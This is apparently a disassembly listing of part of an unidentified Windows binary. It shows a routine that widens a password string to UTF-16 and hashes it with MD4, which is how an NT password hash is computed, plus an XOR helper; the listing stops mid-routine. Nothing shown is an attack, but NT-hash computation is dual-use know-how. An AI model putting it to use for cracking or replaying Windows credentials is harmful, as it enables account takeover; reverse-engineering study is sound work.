dword_413194	dd 0FF7CC481h	dword_413198	dd 8268FFFFh	dword_41319C	dd 6A000000h	dword_4131A0	dd 7C858D00h	dword_4131A4	dd 50FFFFFFh	dword_4131A8	dd 0FFC443E8h	dword_4131AC	dd 87D83FFh	dword_4131B0	dd 68147400h	dword_4131B4	dd 81h		dword_4131B8	dd 8D0875FFh	dword_4131BC	dd 0FFFF7C85h	dword_4131C0	dd 99E850FFh	dword_4131C4	dd 0FFFFFF70h	dword_4131C8	dd 8D8D0C75h	dword_4131CC	dd 0FFFFFF7Ch	dword_4131D0	dd 1AE851h			dd 0C4830000h, 826808h,	6A0000h, 0FF7C858Dh, 0E850FFFFh
		dd 0FFFFC404h, 0C35DE58Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	dword ptr [ebp+8]
		call	sub_40A266
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 80h
		jle	short loc_413214
		mov	dword ptr [ebp-4], 80h


loc_413214:				; CODE XREF: rdata:0041320Bj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		lea	eax, [ebp-108h]
		push	eax
		call	sub_413261
		add	esp, 0Ch
		mov	edx, [ebp-4]
		mov	word ptr [ebp+edx*2-108h], 0
		lea	ecx, [ebp-108h]
		push	ecx
		call	sub_4132B7
		pop	ecx
		add	eax, eax
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-108h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_4132D8
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413261	proc near		; CODE XREF: rdata:00413221p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_8]
		jge	short loc_4132B0


loc_413274:				; CODE XREF: sub_413261+4Dj
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [ecx]
		mov	[ebp+var_6], ax
		mov	dl, byte ptr [ebp+var_6]
		and	dl, 0FFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx], dl
		movzx	eax, [ebp+var_6]
		sar	eax, 8
		mov	edx, [ebp+arg_0]
		mov	[edx+1], al
		add	[ebp+arg_0], 2
		inc	[ebp+arg_4]
		cmp	[ebp+var_6], 0
		jz	short loc_4132B0
		inc	[ebp+var_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_413274


loc_4132B0:				; CODE XREF: sub_413261+11j
					; sub_413261+42j
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_413261	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132B7	proc near		; CODE XREF: rdata:0041323Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4132C5
; ---------------------------------------------------------------------------


loc_4132C2:				; CODE XREF: sub_4132B7+19j
		inc	[ebp+var_4]


loc_4132C5:				; CODE XREF: sub_4132B7+9j
		mov	edx, [ebp+arg_0]
		add	[ebp+arg_0], 2
		cmp	word ptr [edx],	0
		jnz	short loc_4132C2
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	ebp
		retn
sub_4132B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132D8	proc near		; CODE XREF: rdata:00413255p
					; rdata:004140F5p

var_C8		= byte ptr -0C8h
var_88		= byte ptr -88h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF38h
		mov	eax, [ebp+arg_8]
		shl	eax, 3
		mov	[ebp+var_4], eax
		mov	dword_41ACD8, 67452301h
		mov	dword_41ACDC, 0EFCDAB89h
		mov	dword_41ACE0, 98BADCFEh
		mov	dword_41ACE4, 10325476h
		cmp	[ebp+arg_8], 40h
		jle	short loc_413345


loc_413318:				; CODE XREF: sub_4132D8+6Bj
		push	[ebp+arg_4]
		lea	edx, [ebp+var_C8]
		push	edx
		call	sub_4134E5
		add	esp, 8
		lea	ecx, [ebp+var_C8]
		push	ecx
		call	loc_41353E
		pop	ecx
		add	[ebp+arg_4], 40h
		sub	[ebp+arg_8], 40h
		cmp	[ebp+arg_8], 40h
		jg	short loc_413318


loc_413345:				; CODE XREF: sub_4132D8+3Ej
		xor	eax, eax
		mov	[ebp+var_8], eax


loc_41334A:				; CODE XREF: sub_4132D8+87j
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+ebp-88h],	0
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 80h
		jl	short loc_41334A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_40F5BF
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax+ebp-88h],	80h
		cmp	[ebp+arg_8], 37h
		jg	short loc_4133B8
		push	[ebp+var_4]
		lea	edx, [ebp+var_50]
		push	edx
		call	sub_4134AA
		add	esp, 8
		lea	ecx, [ebp+var_88]
		push	ecx
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_4134E5
		add	esp, 8
		lea	edx, [ebp+var_C8]
		push	edx
		call	loc_41353E
		pop	ecx
		jmp	short loc_41340A
; ---------------------------------------------------------------------------


loc_4133B8:				; CODE XREF: sub_4132D8+AAj
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_4134AA
		add	esp, 8
		lea	eax, [ebp+var_88]
		push	eax
		lea	edx, [ebp+var_C8]
		push	edx
		call	sub_4134E5
		add	esp, 8
		lea	ecx, [ebp+var_C8]
		push	ecx
		call	loc_41353E
		pop	ecx
		lea	eax, [ebp+var_48]
		push	eax
		lea	edx, [ebp+var_C8]
		push	edx
		call	sub_4134E5
		add	esp, 8
		lea	ecx, [ebp+var_C8]
		push	ecx
		call	loc_41353E
		pop	ecx


loc_41340A:				; CODE XREF: sub_4132D8+DEj
		xor	eax, eax
		mov	[ebp+var_8], eax


loc_41340F:				; CODE XREF: sub_4132D8+14Cj
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+ebp-88h],	0
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 80h
		jl	short loc_41340F
		lea	ecx, [ebp+var_88]
		push	ecx
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_4134E5
		add	esp, 8
		push	dword_41ACD8
		push	[ebp+arg_0]
		call	sub_4134AA
		add	esp, 8
		push	dword_41ACDC
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		call	sub_4134AA
		add	esp, 8
		push	dword_41ACE0
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		call	sub_4134AA
		add	esp, 8
		push	dword_41ACE4
		mov	eax, [ebp+arg_0]
		add	eax, 0Ch
		push	eax
		call	sub_4134AA
		add	esp, 8
		xor	edx, edx
		mov	dword_41ACE4, edx
		mov	dword_41ACE0, edx
		mov	dword_41ACDC, edx
		mov	dword_41ACD8, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_4132D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134AA	proc near		; CODE XREF: sub_4132D8+B3p
					; sub_4132D8+E7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	al, byte ptr [ebp+arg_4]
		and	al, 0FFh
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	ecx, [ebp+arg_4]
		shr	ecx, 8
		and	cl, 0FFh
		mov	eax, [ebp+arg_0]
		mov	[eax+1], cl
		mov	edx, [ebp+arg_4]
		shr	edx, 10h
		and	dl, 0FFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+2], dl
		mov	eax, [ebp+arg_4]
		shr	eax, 18h
		and	al, 0FFh
		mov	edx, [ebp+arg_0]
		mov	[edx+3], al
		pop	ebp
		retn
sub_4134AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E5	proc near		; CODE XREF: sub_4132D8+4Ap
					; sub_4132D8+C9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_4134EE:				; CODE XREF: sub_4134E5+54j
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [ecx+edx*4+3]
		shl	eax, 18h
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		movzx	edx, byte ptr [ecx+edx*4+2]
		shl	edx, 10h
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, byte ptr [edx+ecx*4+1]
		shl	ecx, 8
		or	eax, ecx
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		movzx	edx, byte ptr [ecx+edx*4]
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[ecx+edx*4], eax
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 10h
		jl	short loc_4134EE
		pop	ecx
		pop	ebp
		retn
sub_4134E5	endp

; ---------------------------------------------------------------------------


loc_41353E:				; CODE XREF: sub_4132D8+59p
					; sub_4132D8+D8p ...
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFACh
		xor	eax, eax
		mov	[ebp-4], eax


loc_413549:				; CODE XREF: rdata:00413560j
		mov	edx, [ebp+8]
		mov	ecx, [ebp-4]
		mov	eax, [edx+ecx*4]
		mov	edx, [ebp-4]
		mov	[ebp+edx*4-54h], eax
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 10h
		jl	short loc_413549
		mov	ecx, dword_41ACD8
		mov	[ebp-8], ecx
		mov	eax, dword_41ACDC
		mov	[ebp-0Ch], eax
		mov	edx, dword_41ACE0
		mov	[ebp-10h], edx
		mov	ecx, dword_41ACE4
		mov	[ebp-14h], ecx
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-54h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	7
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-50h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-4Ch]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	13h
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-48h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-44h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	7
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-40h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-3Ch]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	13h
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-38h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-34h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	7
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-30h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-2Ch]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	13h
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-28h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-24h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	7
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-20h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-1Ch]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	13h
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_41405C
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-18h]
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-54h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	5
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-44h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	9
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-34h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Dh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-24h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-50h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	5
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-40h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	9
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-30h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Dh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-20h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-4Ch]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	5
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-3Ch]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	9
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-2Ch]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Dh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-1Ch]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-48h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	5
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-38h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	9
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-28h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Dh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414041
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-18h]
		add	eax, 5A827999h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-54h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	9
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-34h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-44h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Fh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-24h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-4Ch]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	9
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-2Ch]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-3Ch]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Fh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-1Ch]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-50h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	9
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-30h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-40h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Fh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-20h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		push	3
		push	dword_41ACE4
		push	dword_41ACE0
		push	dword_41ACDC
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACD8
		add	eax, [ebp-48h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACD8, eax
		push	9
		push	dword_41ACE0
		push	dword_41ACDC
		push	dword_41ACD8
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE4
		add	eax, [ebp-28h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE4, eax
		push	0Bh
		push	dword_41ACDC
		push	dword_41ACD8
		push	dword_41ACE4
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACE0
		add	eax, [ebp-38h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACE0, eax
		push	0Fh
		push	dword_41ACD8
		push	dword_41ACE4
		push	dword_41ACE0
		call	sub_414010
		add	esp, 0Ch
		add	eax, dword_41ACDC
		add	eax, [ebp-18h]
		add	eax, 6ED9EBA1h
		push	eax
		call	sub_41401E
		add	esp, 8
		mov	dword_41ACDC, eax
		mov	eax, [ebp-8]
		add	dword_41ACD8, eax
		mov	edx, [ebp-0Ch]
		add	dword_41ACDC, edx
		mov	ecx, [ebp-10h]
		add	dword_41ACE0, ecx
		mov	eax, [ebp-14h]
		add	dword_41ACE4, eax
		and	dword_41ACD8, 0FFFFFFFFh
		and	dword_41ACDC, 0FFFFFFFFh
		and	dword_41ACE0, 0FFFFFFFFh
		and	dword_41ACE4, 0FFFFFFFFh
		xor	edx, edx
		mov	[ebp-4], edx
		mov	ecx, [ebp-4]
		xor	eax, eax


loc_413FFF:				; DATA XREF: sub_408DC0+54o
					; sub_408DC0+59o ...
		mov	[ebp+ecx*4-54h], eax
		inc	dword ptr [ebp-4]
; ---------------------------------------------------------------------------
dword_414006	dd 10FC7D83h						; sub_4096E0+6Fr ...
word_41400A	dw 0EE7Ch		; DATA XREF: sub_4096E0+81o
		dd 0C35DE58Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414010	proc near		; CODE XREF: rdata:00413C49p
					; rdata:00413C81p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, [ebp+arg_4]
		xor	eax, [ebp+arg_8]
		pop	ebp
		retn
sub_414010	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41401E	proc near		; CODE XREF: rdata:004135ABp
					; rdata:004135DEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		and	[ebp+arg_0], 0FFFFFFFFh
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		shl	eax, cl
		and	eax, 0FFFFFFFFh
		mov	ecx, 20h
		sub	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		shr	edx, cl
		or	eax, edx
		pop	ebp
		retn
sub_41401E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414041	proc near		; CODE XREF: rdata:004138C9p
					; rdata:00413901p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		and	edx, [ebp+arg_8]
		or	eax, edx
		mov	ecx, [ebp+arg_4]
		and	ecx, [ebp+arg_8]
		or	eax, ecx
		pop	ebp
		retn
sub_414041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41405C	proc near		; CODE XREF: rdata:00413599p
					; rdata:004135CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_41405F:				; DATA XREF: sub_408440:loc_4085F4o
					; sub_408810+12o ...
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		not	edx
		and	edx, [ebp+arg_8]
		or	eax, edx
		pop	ebp
		retn
sub_41405C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414071	proc near		; CODE XREF: sub_412C30+18Ep
					; sub_412C30+31Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp


loc_414072:				; DATA XREF: sub_408DC0+85o
					; sub_408DC0+2DAo
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_41407A:				; DATA XREF: sub_408DC0:loc_409408o
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_C]
		jge	short loc_4140A8


loc_414082:				; CODE XREF: sub_414071+35j
					; DATA XREF: sub_408DC0:loc_409264o
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	dl, [eax+ecx]


loc_41408B:				; DATA XREF: sub_408DC0:loc_409061o
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		xor	dl, [eax+ecx]


loc_414094:				; DATA XREF: sub_408440:loc_40861Do
					; sub_4089C0+Eo
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]


loc_41409A:				; DATA XREF: sub_408A40+1Bo
					; sub_408AD0+28o ...
		mov	[ecx+eax], dl
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]


loc_4140A3:				; DATA XREF: sub_408A40+30o
					; sub_408AD0+41o ...
		cmp	edx, [ebp+arg_C]
		jl	short loc_414082


loc_4140A8:				; CODE XREF: sub_414071+Fj
		pop	ecx
		pop	ebp
		retn
sub_414071	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140AB	proc near		; CODE XREF: sub_412C30+ACp
					; sub_412C30+391p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		jmp	short loc_4140C0
; ---------------------------------------------------------------------------


loc_4140B0:				; CODE XREF: sub_4140AB+1Ej
		mov	eax, [ebp+arg_4]
		mov	dl, [eax]


loc_4140B5:				; DATA XREF: sub_408DC0:loc_409119o
		mov	ecx, [ebp+arg_0]
		mov	[ecx], dl
